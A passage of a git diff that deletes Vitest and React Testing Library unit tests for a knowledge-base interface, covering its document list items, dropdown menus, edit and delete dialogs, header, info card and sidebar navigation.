-        {content: 'Content 1', id: 'chunk-1', knowledgeBaseDocumentId: 'doc-1', metadata: null},
-        {content: 'Content 2', id: 'chunk-2', knowledgeBaseDocumentId: 'doc-1', metadata: null},
-    ],
-    createdDate: '2024-01-15T10:30:00Z',
-    document: {
-        extension: 'pdf',
-        mimeType: 'application/pdf',
-        name: 'test-file.pdf',
-        url: 'https://example.com/test-file.pdf',
-    },
-    id: 'doc-1',
-    name: 'Test Document',
-    status: 2,
-};
-
-const mockTags = [
-    {id: '1', name: 'Tag 1'},
-    {id: '2', name: 'Tag 2'},
-];
-
-const mockRemainingTags = [{id: '3', name: 'Tag 3'}];
-
-const defaultListItemMockReturn = {
-    chunkCount: 2,
-    chunksCollapsibleTriggerRef: {current: null},
-    displayName: 'test-file.pdf',
-    documentIcon: <span data-testid="document-icon">Icon</span>,
-    handleDocumentListItemClick: hoisted.handleDocumentListItemClick,
-    handleDocumentListItemKeyDown: hoisted.handleDocumentListItemKeyDown,
-    handleTagListClick: hoisted.handleTagListClick,
-    statusBadge: <span data-testid="status-badge">Ready</span>,
-};
-
-const defaultTagListMockReturn = {
-    convertedRemainingTags: mockRemainingTags.map((tag) => ({...tag, id: Number(tag.id)})),
-    convertedTags: mockTags.map((tag) => ({...tag, id: Number(tag.id)})),
-    updateTagsMutation: hoisted.updateTagsMutation,
-};
-
-beforeEach(() => {
-    windowResizeObserver();
-    hoisted.mockUseKnowledgeBaseDocumentListItem.mockReturnValue({...defaultListItemMockReturn});
-    hoisted.mockUseKnowledgeBaseDocumentListItemTagList.mockReturnValue({...defaultTagListMockReturn});
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-const renderComponent = (
-    props: {document: KnowledgeBaseDocument; remainingTags?: typeof mockRemainingTags; tags: typeof mockTags} = {
-        document: mockDocument,
-        remainingTags: mockRemainingTags,
-        tags: mockTags,
-    }
-) => {
-    return render(<KnowledgeBaseDocumentListItem {...props} />);
-};
-
-describe('KnowledgeBaseDocumentListItem', () => {
-    it('renders the document icon', () => {
-        renderComponent();
-
-        expect(screen.getByTestId('document-icon')).toBeInTheDocument();
-    });
-
-    it('renders the display name', () => {
-        renderComponent();
-
-        expect(screen.getByText('test-file.pdf')).toBeInTheDocument();
-    });
-
-    it('renders the chunk count', () => {
-        renderComponent();
-
-        expect(screen.getByText('2 chunks')).toBeInTheDocument();
-    });
-
-    it('renders singular chunk for count of 1', () => {
-        hoisted.mockUseKnowledgeBaseDocumentListItem.mockReturnValue({
-            ...defaultListItemMockReturn,
-            chunkCount: 1,
-        });
-
-        renderComponent();
-
-        expect(screen.getByText('1 chunk')).toBeInTheDocument();
-    });
-
-    it('renders the status badge', () => {
-        renderComponent();
-
-        expect(screen.getByTestId('status-badge')).toBeInTheDocument();
-    });
-
-    it('renders the dropdown menu', () => {
-        renderComponent();
-
-        expect(screen.getByTestId('dropdown-doc-1')).toBeInTheDocument();
-    });
-
-    it('renders the tag list', () => {
-        renderComponent();
-
-        expect(screen.getByTestId('tag-list')).toBeInTheDocument();
-    });
-
-    it('renders the collapsible trigger', () => {
-        renderComponent();
-
-        expect(screen.getByTestId('collapsible-trigger')).toBeInTheDocument();
-    });
-
-    it('calls handleDocumentListItemClick when clicked', async () => {
-        renderComponent();
-
-        const container = screen.getByText('test-file.pdf').closest('[role="button"]');
-        await userEvent.click(container!);
-
-        expect(hoisted.handleDocumentListItemClick).toHaveBeenCalled();
-    });
-
-    it('has correct accessibility attributes', () => {
-        renderComponent();
-
-        const container = screen.getByText('test-file.pdf').closest('[role="button"]');
-
-        expect(container).toHaveAttribute('tabIndex', '0');
-    });
-
-    it('renders created date', () => {
-        renderComponent();
-
-        expect(screen.getByText(/Created/)).toBeInTheDocument();
-    });
-});
-
-describe('KnowledgeBaseDocumentListItem without created date', () => {
-    it('does not render created date when not available', () => {
-        const documentWithoutDate = {...mockDocument, createdDate: undefined};
-
-        renderComponent({document: documentWithoutDate, remainingTags: mockRemainingTags, tags: mockTags});
-
-        expect(screen.queryByText(/Created/)).not.toBeInTheDocument();
-    });
-});
-
-describe('KnowledgeBaseDocumentListItem hook calls', () => {
-    it('passes document to useKnowledgeBaseDocumentListItem', () => {
-        renderComponent();
-
-        expect(hoisted.mockUseKnowledgeBaseDocumentListItem).toHaveBeenCalledWith({
-            document: mockDocument,
-        });
-    });
-
-    it('passes correct props to useKnowledgeBaseDocumentListItemTagList', () => {
-        renderComponent();
-
-        expect(hoisted.mockUseKnowledgeBaseDocumentListItemTagList).toHaveBeenCalledWith({
-            knowledgeBaseDocumentId: 'doc-1',
-            remainingTags: mockRemainingTags,
-            tags: mockTags,
-        });
-    });
-});
diff --git a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/tests/KnowledgeBaseDocumentListItemDropdownMenu.test.tsx b/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/tests/KnowledgeBaseDocumentListItemDropdownMenu.test.tsx
deleted file mode 100644
index 4b87c48990f..00000000000
--- a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/tests/KnowledgeBaseDocumentListItemDropdownMenu.test.tsx
+++ /dev/null
@@ -1,117 +0,0 @@
-import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import KnowledgeBaseDocumentListItemDropdownMenu from '../KnowledgeBaseDocumentListItemDropdownMenu';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        handleDelete: vi.fn(),
-        mockUseKnowledgeBaseDocumentListItemDropdownMenu: vi.fn(),
-    };
-});
-
-vi.mock('../hooks/useKnowledgeBaseDocumentListItemDropdownMenu', () => ({
-    default: hoisted.mockUseKnowledgeBaseDocumentListItemDropdownMenu,
-}));
-
-const defaultMockReturn = {
-    handleDelete: hoisted.handleDelete,
-};
-
-beforeEach(() => {
-    windowResizeObserver();
-    hoisted.mockUseKnowledgeBaseDocumentListItemDropdownMenu.mockReturnValue({...defaultMockReturn});
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-const renderComponent = (documentId = 'doc-1') => {
-    return render(<KnowledgeBaseDocumentListItemDropdownMenu documentId={documentId} />);
-};
-
-describe('KnowledgeBaseDocumentListItemDropdownMenu', () => {
-    it('renders the dropdown trigger button', () => {
-        renderComponent();
-
-        expect(screen.getByRole('button', {name: 'More Document Actions'})).toBeInTheDocument();
-    });
-
-    it('opens dropdown menu when clicking trigger', async () => {
-        renderComponent();
-
-        const trigger = screen.getByRole('button', {name: 'More Document Actions'});
-        await userEvent.click(trigger);
-
-        expect(screen.getByText('Delete')).toBeInTheDocument();
-    });
-
-    it('calls handleDelete when clicking Delete menu item', async () => {
-        renderComponent();
-
-        const trigger = screen.getByRole('button', {name: 'More Document Actions'});
-        await userEvent.click(trigger);
-
-        const deleteItem = screen.getByText('Delete');
-        await userEvent.click(deleteItem);
-
-        expect(hoisted.handleDelete).toHaveBeenCalledTimes(1);
-    });
-
-    it('passes correct documentId to hook', () => {
-        renderComponent('custom-doc-id');
-
-        expect(hoisted.mockUseKnowledgeBaseDocumentListItemDropdownMenu).toHaveBeenCalledWith({
-            documentId: 'custom-doc-id',
-        });
-    });
-
-    it('stops event propagation on trigger click', async () => {
-        const parentClickHandler = vi.fn();
-
-        render(
-            <div onClick={parentClickHandler}>
-                <KnowledgeBaseDocumentListItemDropdownMenu documentId="doc-1" />
-            </div>
-        );
-
-        const trigger = screen.getByRole('button', {name: 'More Document Actions'});
-        await userEvent.click(trigger);
-
-        // The trigger has stopPropagation, so parent should not be called
-        expect(parentClickHandler).not.toHaveBeenCalled();
-    });
-});
-
-describe('KnowledgeBaseDocumentListItemDropdownMenu styling', () => {
-    it('Delete menu item has destructive styling', async () => {
-        renderComponent();
-
-        const trigger = screen.getByRole('button', {name: 'More Document Actions'});
-        await userEvent.click(trigger);
-
-        const deleteMenuItem = screen.getByText('Delete').closest('[class*="dropdown-menu-item-destructive"]');
-
-        expect(deleteMenuItem).toBeInTheDocument();
-    });
-});
-
-describe('KnowledgeBaseDocumentListItemDropdownMenu with different document IDs', () => {
-    it('works with numeric-like document IDs', () => {
-        renderComponent('123');
-
-        expect(hoisted.mockUseKnowledgeBaseDocumentListItemDropdownMenu).toHaveBeenCalledWith({
-            documentId: '123',
-        });
-    });
-
-    it('works with UUID-like document IDs', () => {
-        renderComponent('550e8400-e29b-41d4-a716-446655440000');
-
-        expect(hoisted.mockUseKnowledgeBaseDocumentListItemDropdownMenu).toHaveBeenCalledWith({
-            documentId: '550e8400-e29b-41d4-a716-446655440000',
-        });
-    });
-});
diff --git a/client/src/pages/automation/knowledge-base/components/tests/EditKnowledgeBaseDialog.test.tsx b/client/src/pages/automation/knowledge-base/components/tests/EditKnowledgeBaseDialog.test.tsx
deleted file mode 100644
index 96d1ce0019e..00000000000
--- a/client/src/pages/automation/knowledge-base/components/tests/EditKnowledgeBaseDialog.test.tsx
+++ /dev/null
@@ -1,194 +0,0 @@
-import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import EditKnowledgeBaseDialog from '../EditKnowledgeBaseDialog';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        handleCancel: vi.fn(),
-        handleDescriptionChange: vi.fn(),
-        handleNameChange: vi.fn(),
-        handleOpenChange: vi.fn(),
-        handleSave: vi.fn(),
-        mockUseEditKnowledgeBaseDialog: vi.fn(),
-    };
-});
-
-vi.mock('../hooks/useEditKnowledgeBaseDialog', () => ({
-    default: hoisted.mockUseEditKnowledgeBaseDialog,
-}));
-
-vi.mock('@/components/Button/Button', () => ({
-    default: ({
-        children,
-        disabled,
-        icon,
-        onClick,
-        variant,
-    }: {
-        children?: React.ReactNode;
-        disabled?: boolean;
-        icon?: React.ReactNode;
-        onClick?: () => void;
-        size?: string;
-        variant?: string;
-    }) => (
-        <button data-testid={`button-${variant || 'default'}`} disabled={disabled} onClick={onClick}>
-            {icon}
-
-            {children}
-        </button>
-    ),
-}));
-
-const mockKnowledgeBase = {
-    description: 'Test description',
-    id: 'kb-1',
-    maxChunkSize: 1024,
-    minChunkSizeChars: 1,
-    name: 'Test KB',
-    overlap: 200,
-};
-
-const defaultMockReturn = {
-    canSubmit: true,
-    description: 'Test description',
-    handleCancel: hoisted.handleCancel,
-    handleDescriptionChange: hoisted.handleDescriptionChange,
-    handleNameChange: hoisted.handleNameChange,
-    handleOpenChange: hoisted.handleOpenChange,
-    handleSave: hoisted.handleSave,
-    isPending: false,
-    name: 'Test KB',
-    open: true,
-};
-
-beforeEach(() => {
-    windowResizeObserver();
-    hoisted.mockUseEditKnowledgeBaseDialog.mockReturnValue({...defaultMockReturn});
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-const renderComponent = (props = {}) => {
-    return render(<EditKnowledgeBaseDialog knowledgeBase={mockKnowledgeBase} {...props} />);
-};
-
-describe('EditKnowledgeBaseDialog', () => {
-    it('renders dialog title', () => {
-        renderComponent();
-
-        expect(screen.getByText('Edit Knowledge Base')).toBeInTheDocument();
-    });
-
-    it('renders dialog description', () => {
-        renderComponent();
-
-        expect(screen.getByText('Update the general settings for this knowledge base.')).toBeInTheDocument();
-    });
-
-    it('renders name input with value', () => {
-        renderComponent();
-
-        const nameInput = screen.getByPlaceholderText('Knowledge base name');
-
-        expect(nameInput).toHaveValue('Test KB');
-    });
-
-    it('renders description textarea with value', () => {
-        renderComponent();
-
-        const descriptionInput = screen.getByPlaceholderText('Describe this knowledge base (optional)');
-
-        expect(descriptionInput).toHaveValue('Test description');
-    });
-
-    it('calls handleNameChange when name input changes', async () => {
-        renderComponent();
-
-        const nameInput = screen.getByPlaceholderText('Knowledge base name');
-        await userEvent.clear(nameInput);
-        await userEvent.type(nameInput, 'N');
-
-        expect(hoisted.handleNameChange).toHaveBeenCalled();
-    });
-
-    it('calls handleDescriptionChange when description changes', async () => {
-        renderComponent();
-
-        const descriptionInput = screen.getByPlaceholderText('Describe this knowledge base (optional)');
-        await userEvent.type(descriptionInput, 'New');
-
-        expect(hoisted.handleDescriptionChange).toHaveBeenCalled();
-    });
-
-    it('calls handleCancel when Cancel button is clicked', async () => {
-        renderComponent();
-
-        const cancelButton = screen.getByText('Cancel');
-        await userEvent.click(cancelButton);
-
-        expect(hoisted.handleCancel).toHaveBeenCalled();
-    });
-
-    it('calls handleSave when Save button is clicked', async () => {
-        renderComponent();
-
-        const saveButton = screen.getByText('Save');
-        await userEvent.click(saveButton);
-
-        expect(hoisted.handleSave).toHaveBeenCalled();
-    });
-
-    it('disables Save button when canSubmit is false', () => {
-        hoisted.mockUseEditKnowledgeBaseDialog.mockReturnValue({
-            ...defaultMockReturn,
-            canSubmit: false,
-        });
-
-        renderComponent();
-
-        const saveButton = screen.getByText('Save');
-
-        expect(saveButton).toBeDisabled();
-    });
-
-    it('disables Save button when isPending is true', () => {
-        hoisted.mockUseEditKnowledgeBaseDialog.mockReturnValue({
-            ...defaultMockReturn,
-            isPending: true,
-        });
-
-        renderComponent();
-
-        const saveButton = screen.getByText('Saving...');
-
-        expect(saveButton).toBeDisabled();
-    });
-
-    it('shows Saving... text when isPending is true', () => {
-        hoisted.mockUseEditKnowledgeBaseDialog.mockReturnValue({
-            ...defaultMockReturn,
-            isPending: true,
-        });
-
-        renderComponent();
-
-        expect(screen.getByText('Saving...')).toBeInTheDocument();
-    });
-
-    it('passes correct props to hook', () => {
-        const mockOnOpenChange = vi.fn();
-
-        renderComponent({onOpenChange: mockOnOpenChange, open: true});
-
-        expect(hoisted.mockUseEditKnowledgeBaseDialog).toHaveBeenCalledWith({
-            knowledgeBase: mockKnowledgeBase,
-            onOpenChange: mockOnOpenChange,
-            open: true,
-        });
-    });
-});
diff --git a/client/src/pages/automation/knowledge-base/components/tests/KnowledgeBaseDeleteAlertDialog.test.tsx b/client/src/pages/automation/knowledge-base/components/tests/KnowledgeBaseDeleteAlertDialog.test.tsx
deleted file mode 100644
index 159746a6c03..00000000000
--- a/client/src/pages/automation/knowledge-base/components/tests/KnowledgeBaseDeleteAlertDialog.test.tsx
+++ /dev/null
@@ -1,93 +0,0 @@
-import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import KnowledgeBaseDeleteAlertDialog from '../KnowledgeBaseDeleteAlertDialog';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        handleCancelClick: vi.fn(),
-        handleDeleteClick: vi.fn(),
-        mockUseKnowledgeBaseDeleteAlertDialog: vi.fn(),
-    };
-});
-
-vi.mock('../hooks/useKnowledgeBaseDeleteAlertDialog', () => ({
-    default: hoisted.mockUseKnowledgeBaseDeleteAlertDialog,
-}));
-
-vi.mock('@/components/DeleteAlertDialog', () => ({
-    default: ({onCancel, onDelete, open}: {onCancel: () => void; onDelete: () => void; open: boolean}) =>
-        open ? (
-            <div data-testid="delete-alert-dialog">
-                <button data-testid="cancel-button" onClick={onCancel}>
-                    Cancel
-                </button>
-
-                <button data-testid="delete-button" onClick={onDelete}>
-                    Delete
-                </button>
-            </div>
-        ) : null,
-}));
-
-beforeEach(() => {
-    windowResizeObserver();
-    hoisted.mockUseKnowledgeBaseDeleteAlertDialog.mockReturnValue({
-        handleCancelClick: hoisted.handleCancelClick,
-        handleDeleteClick: hoisted.handleDeleteClick,
-    });
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-const mockOnClose = vi.fn();
-
-const renderComponent = (props = {}) => {
-    return render(
-        <KnowledgeBaseDeleteAlertDialog knowledgeBaseId="kb-1" onClose={mockOnClose} open={true} {...props} />
-    );
-};
-
-describe('KnowledgeBaseDeleteAlertDialog', () => {
-    it('renders dialog when open', () => {
-        renderComponent();
-
-        expect(screen.getByTestId('delete-alert-dialog')).toBeInTheDocument();
-    });
-
-    it('does not render dialog when closed', () => {
-        renderComponent({open: false});
-
-        expect(screen.queryByTestId('delete-alert-dialog')).not.toBeInTheDocument();
-    });
-
-    it('calls handleCancelClick when Cancel is clicked', async () => {
-        renderComponent();
-
-        const cancelButton = screen.getByTestId('cancel-button');
-        await userEvent.click(cancelButton);
-
-        expect(hoisted.handleCancelClick).toHaveBeenCalled();
-    });
-
-    it('calls handleDeleteClick when Delete is clicked', async () => {
-        renderComponent();
-
-        const deleteButton = screen.getByTestId('delete-button');
-        await userEvent.click(deleteButton);
-
-        expect(hoisted.handleDeleteClick).toHaveBeenCalled();
-    });
-
-    it('passes correct props to hook', () => {
-        renderComponent();
-
-        expect(hoisted.mockUseKnowledgeBaseDeleteAlertDialog).toHaveBeenCalledWith({
-            knowledgeBaseId: 'kb-1',
-            onClose: mockOnClose,
-        });
-    });
-});
diff --git a/client/src/pages/automation/knowledge-base/components/tests/KnowledgeBaseDropdownMenu.test.tsx b/client/src/pages/automation/knowledge-base/components/tests/KnowledgeBaseDropdownMenu.test.tsx
deleted file mode 100644
index bed87b2b247..00000000000
--- a/client/src/pages/automation/knowledge-base/components/tests/KnowledgeBaseDropdownMenu.test.tsx
+++ /dev/null
@@ -1,158 +0,0 @@
-import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import KnowledgeBaseDropdownMenu from '../KnowledgeBaseDropdownMenu';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        handleCloseDeleteDialog: vi.fn(),
-        handleCloseEditDialog: vi.fn(),
-        handleShowDeleteDialog: vi.fn(),
-        handleShowEditDialog: vi.fn(),
-        mockUseKnowledgeBaseDropdownMenu: vi.fn(),
-    };
-});
-
-vi.mock('../hooks/useKnowledgeBaseDropdownMenu', () => ({
-    default: hoisted.mockUseKnowledgeBaseDropdownMenu,
-}));
-
-vi.mock('../EditKnowledgeBaseDialog', () => ({
-    default: ({open}: {open: boolean}) => (open ? <div data-testid="edit-dialog">Edit Dialog</div> : null),
-}));
-
-vi.mock('../KnowledgeBaseDeleteAlertDialog', () => ({
-    default: ({open}: {open: boolean}) => (open ? <div data-testid="delete-dialog">Delete Dialog</div> : null),
-}));
-
-vi.mock('@/components/Button/Button', () => ({
-    default: ({
-        'aria-label': ariaLabel,
-        icon,
-        onClick,
-    }: {
-        'aria-label'?: string;
-        icon?: React.ReactNode;
-        onClick?: () => void;
-        size?: string;
-        variant?: string;
-    }) => (
-        <button aria-label={ariaLabel} onClick={onClick}>
-            {icon}
-        </button>
-    ),
-}));
-
-vi.mock('@/components/ui/dropdown-menu', () => ({
-    DropdownMenu: ({children}: {children: React.ReactNode}) => <div data-testid="dropdown-menu">{children}</div>,
-    DropdownMenuContent: ({children}: {children: React.ReactNode}) => (
-        <div data-testid="dropdown-content">{children}</div>
-    ),
-    DropdownMenuItem: ({children, onClick}: {children: React.ReactNode; className?: string; onClick?: () => void}) => (
-        <button data-testid="dropdown-item" onClick={onClick}>
-            {children}
-        </button>
-    ),
-    DropdownMenuSeparator: () => <hr data-testid="dropdown-separator" />,
-    DropdownMenuTrigger: ({children}: {asChild?: boolean; children: React.ReactNode}) => (
-        <div data-testid="dropdown-trigger">{children}</div>
-    ),
-}));
-
-const mockKnowledgeBase = {
-    description: 'Test description',
-    id: 'kb-1',
-    maxChunkSize: 1024,
-    minChunkSizeChars: 1,
-    name: 'Test KB',
-    overlap: 200,
-};
-
-const defaultMockReturn = {
-    handleCloseDeleteDialog: hoisted.handleCloseDeleteDialog,
-    handleCloseEditDialog: hoisted.handleCloseEditDialog,
-    handleShowDeleteDialog: hoisted.handleShowDeleteDialog,
-    handleShowEditDialog: hoisted.handleShowEditDialog,
-    showDeleteDialog: false,
-    showEditDialog: false,
-};
-
-beforeEach(() => {
-    windowResizeObserver();
-    hoisted.mockUseKnowledgeBaseDropdownMenu.mockReturnValue({...defaultMockReturn});
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-const renderComponent = () => {
-    return render(<KnowledgeBaseDropdownMenu knowledgeBase={mockKnowledgeBase} />);
-};
-
-describe('KnowledgeBaseDropdownMenu', () => {
-    it('renders dropdown menu', () => {
-        renderComponent();
-
-        expect(screen.getByTestId('dropdown-menu')).toBeInTheDocument();
-    });
-
-    it('renders trigger button with aria label', () => {
-        renderComponent();
-
-        expect(screen.getByLabelText('More Knowledge Base Actions')).toBeInTheDocument();
-    });
-
-    it('renders Edit menu item', () => {
-        renderComponent();
-
-        expect(screen.getByText('Edit')).toBeInTheDocument();
-    });
-
-    it('renders Delete menu item', () => {
-        renderComponent();
-
-        expect(screen.getByText('Delete')).toBeInTheDocument();
-    });
-
-    it('calls handleShowEditDialog when Edit is clicked', async () => {
-        renderComponent();
-
-        const editButton = screen.getByText('Edit').closest('button');
-        await userEvent.click(editButton!);
-
-        expect(hoisted.handleShowEditDialog).toHaveBeenCalled();
-    });
-
-    it('calls handleShowDeleteDialog when Delete is clicked', async () => {
-        renderComponent();
-
-        const deleteButton = screen.getByText('Delete').closest('button');
-        await userEvent.click(deleteButton!);
-
-        expect(hoisted.handleShowDeleteDialog).toHaveBeenCalled();
-    });
-
-    it('shows edit dialog when showEditDialog is true', () => {
-        hoisted.mockUseKnowledgeBaseDropdownMenu.mockReturnValue({
-            ...defaultMockReturn,
-            showEditDialog: true,
-        });
-
-        renderComponent();
-
-        expect(screen.getByTestId('edit-dialog')).toBeInTheDocument();
-    });
-
-    it('shows delete dialog when showDeleteDialog is true', () => {
-        hoisted.mockUseKnowledgeBaseDropdownMenu.mockReturnValue({
-            ...defaultMockReturn,
-            showDeleteDialog: true,
-        });
-
-        renderComponent();
-
-        expect(screen.getByTestId('delete-dialog')).toBeInTheDocument();
-    });
-});
diff --git a/client/src/pages/automation/knowledge-base/components/tests/KnowledgeBaseHeader.test.tsx b/client/src/pages/automation/knowledge-base/components/tests/KnowledgeBaseHeader.test.tsx
deleted file mode 100644
index 89486c4d5c2..00000000000
--- a/client/src/pages/automation/knowledge-base/components/tests/KnowledgeBaseHeader.test.tsx
+++ /dev/null
@@ -1,64 +0,0 @@
-import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import KnowledgeBaseHeader from '../KnowledgeBaseHeader';
-
-vi.mock('@/shared/layout/Header', () => ({
-    default: ({title}: {centerTitle?: boolean; position?: string; title: React.ReactNode}) => (
-        <header data-testid="header">{title}</header>
-    ),
-}));
-
-vi.mock('@/components/Button/Button', () => ({
-    default: ({icon, onClick}: {icon?: React.ReactNode; onClick?: () => void; size?: string; variant?: string}) => (
-        <button data-testid="back-button" onClick={onClick}>
-            {icon}
-        </button>
-    ),
-}));
-
-beforeEach(() => {
-    windowResizeObserver();
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-describe('KnowledgeBaseHeader', () => {
-    const mockOnBackClick = vi.fn();
-
-    it('renders header component', () => {
-        render(<KnowledgeBaseHeader knowledgeBaseName="Test KB" onBackClick={mockOnBackClick} />);
-
-        expect(screen.getByTestId('header')).toBeInTheDocument();
-    });
-
-    it('renders knowledge base name', () => {
-        render(<KnowledgeBaseHeader knowledgeBaseName="Test KB" onBackClick={mockOnBackClick} />);
-
-        expect(screen.getByText('Test KB')).toBeInTheDocument();
-    });
-
-    it('renders Loading... when name is undefined', () => {
-        render(<KnowledgeBaseHeader knowledgeBaseName={undefined} onBackClick={mockOnBackClick} />);
-
-        expect(screen.getByText('Loading...')).toBeInTheDocument();
-    });
-
-    it('renders back button', () => {
-        render(<KnowledgeBaseHeader knowledgeBaseName="Test KB" onBackClick={mockOnBackClick} />);
-
-        expect(screen.getByTestId('back-button')).toBeInTheDocument();
-    });
-
-    it('calls onBackClick when back button is clicked', async () => {
-        render(<KnowledgeBaseHeader knowledgeBaseName="Test KB" onBackClick={mockOnBackClick} />);
-
-        const backButton = screen.getByTestId('back-button');
-        await userEvent.click(backButton);
-
-        expect(mockOnBackClick).toHaveBeenCalled();
-    });
-});
diff --git a/client/src/pages/automation/knowledge-base/components/tests/KnowledgeBaseInfoCard.test.tsx b/client/src/pages/automation/knowledge-base/components/tests/KnowledgeBaseInfoCard.test.tsx
deleted file mode 100644
index 5ee67bb3e60..00000000000
--- a/client/src/pages/automation/knowledge-base/components/tests/KnowledgeBaseInfoCard.test.tsx
+++ /dev/null
@@ -1,89 +0,0 @@
-import {render, resetAll, screen, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import KnowledgeBaseInfoCard from '../KnowledgeBaseInfoCard';
-
-vi.mock('../KnowledgeBaseDropdownMenu', () => ({
-    default: ({knowledgeBase}: {knowledgeBase: {id: string}}) => (
-        <div data-testid={`dropdown-menu-${knowledgeBase.id}`}>Dropdown</div>
-    ),
-}));
-
-const mockKnowledgeBase = {
-    description: 'Test description',
-    documents: [
-        {id: 'doc-1', name: 'Document 1', status: 1},
-        {id: 'doc-2', name: 'Document 2', status: 1},
-    ],
-    id: 'kb-1',
-    maxChunkSize: 1024,
-    minChunkSizeChars: 100,
-    name: 'Test KB',
-    overlap: 200,
-};
-
-beforeEach(() => {
-    windowResizeObserver();
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-describe('KnowledgeBaseInfoCard', () => {
-    it('renders knowledge base name', () => {
-        render(<KnowledgeBaseInfoCard knowledgeBase={mockKnowledgeBase} />);
-
-        expect(screen.getByText('Test KB')).toBeInTheDocument();
-    });
-
-    it('renders description when present', () => {
-        render(<KnowledgeBaseInfoCard knowledgeBase={mockKnowledgeBase} />);
-
-        expect(screen.getByText('Test description')).toBeInTheDocument();
-    });
-
-    it('does not render description when empty', () => {
-        const kbWithoutDescription = {...mockKnowledgeBase, description: ''};
-
-        render(<KnowledgeBaseInfoCard knowledgeBase={kbWithoutDescription} />);
-
-        expect(screen.queryByText('Test description')).not.toBeInTheDocument();
-    });
-
-    it('renders document count', () => {
-        render(<KnowledgeBaseInfoCard knowledgeBase={mockKnowledgeBase} />);
-
-        expect(screen.getByText('Documents:')).toBeInTheDocument();
-        expect(screen.getByText('2')).toBeInTheDocument();
-    });
-
-    it('renders chunk size range', () => {
-        render(<KnowledgeBaseInfoCard knowledgeBase={mockKnowledgeBase} />);
-
-        expect(screen.getByText('Chunk Size:')).toBeInTheDocument();
-        expect(screen.getByText('100-1024')).toBeInTheDocument();
-    });
-
-    it('renders overlap value', () => {
-        render(<KnowledgeBaseInfoCard knowledgeBase={mockKnowledgeBase} />);
-
-        expect(screen.getByText('Overlap:')).toBeInTheDocument();
-        expect(screen.getByText('200')).toBeInTheDocument();
-    });
-
-    it('renders dropdown menu', () => {
-        render(<KnowledgeBaseInfoCard knowledgeBase={mockKnowledgeBase} />);
-
-        expect(screen.getByTestId('dropdown-menu-kb-1')).toBeInTheDocument();
-    });
-
-    it('handles empty documents array', () => {
-        const kbWithNoDocuments = {...mockKnowledgeBase, documents: []};
-
-        render(<KnowledgeBaseInfoCard knowledgeBase={kbWithNoDocuments} />);
-
-        expect(screen.getByText('0')).toBeInTheDocument();
-    });
-});
diff --git a/client/src/pages/automation/knowledge-base/components/tests/KnowledgeBaseLeftSidebarNav.test.tsx b/client/src/pages/automation/knowledge-base/components/tests/KnowledgeBaseLeftSidebarNav.test.tsx
deleted file mode 100644
index 0aab991ac72..00000000000
--- a/client/src/pages/automation/knowledge-base/components/tests/KnowledgeBaseLeftSidebarNav.test.tsx
+++ /dev/null
@@ -1,119 +0,0 @@
-import {render, resetAll, screen, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import KnowledgeBaseLeftSidebarNav from '../KnowledgeBaseLeftSidebarNav';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockUseKnowledgeBaseLeftSidebarNav: vi.fn(),
-    };
-});
-
-vi.mock('../hooks/useKnowledgeBaseLeftSidebarNav', () => ({
-    default: hoisted.mockUseKnowledgeBaseLeftSidebarNav,
-}));
-
-vi.mock('@/shared/layout/LeftSidebarNav', () => ({
-    LeftSidebarNav: ({body, title}: {body: React.ReactNode; title: string}) => (
-        <nav data-testid="left-sidebar-nav">
-            <h3>{title}</h3>
-
-            {body}
-        </nav>
-    ),
-    LeftSidebarNavItem: ({
-        item,
-        toLink,
-    }: {
-        icon?: React.ReactNode;
-        item: {current: boolean; id: string; name: string};
-        toLink: string;
-    }) => (
-        <a data-current={item.current} data-testid={`nav-item-${item.id}`} href={toLink}>
-            {item.name}
-        </a>
-    ),
-}));
-
-const defaultMockReturn = {
-    currentKnowledgeBaseId: 'kb-1',
-    isLoading: false,
-    knowledgeBases: [
-        {id: 'kb-1', name: 'KB 1'},
-        {id: 'kb-2', name: 'KB 2'},
-    ],
-};
-
-beforeEach(() => {
-    windowResizeObserver();
-    hoisted.mockUseKnowledgeBaseLeftSidebarNav.mockReturnValue({...defaultMockReturn});
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-describe('KnowledgeBaseLeftSidebarNav', () => {
-    it('renders sidebar nav', () => {
-        render(<KnowledgeBaseLeftSidebarNav />);
-
-        expect(screen.getByTestId('left-sidebar-nav')).toBeInTheDocument();
-    });
-
-    it('renders title', () => {
-        render(<KnowledgeBaseLeftSidebarNav />);
-
-        expect(screen.getByText('Knowledge Bases')).toBeInTheDocument();
-    });
-
-    it('renders knowledge base items', () => {
-        render(<KnowledgeBaseLeftSidebarNav />);
-
-        expect(screen.getByTestId('nav-item-kb-1')).toBeInTheDocument();
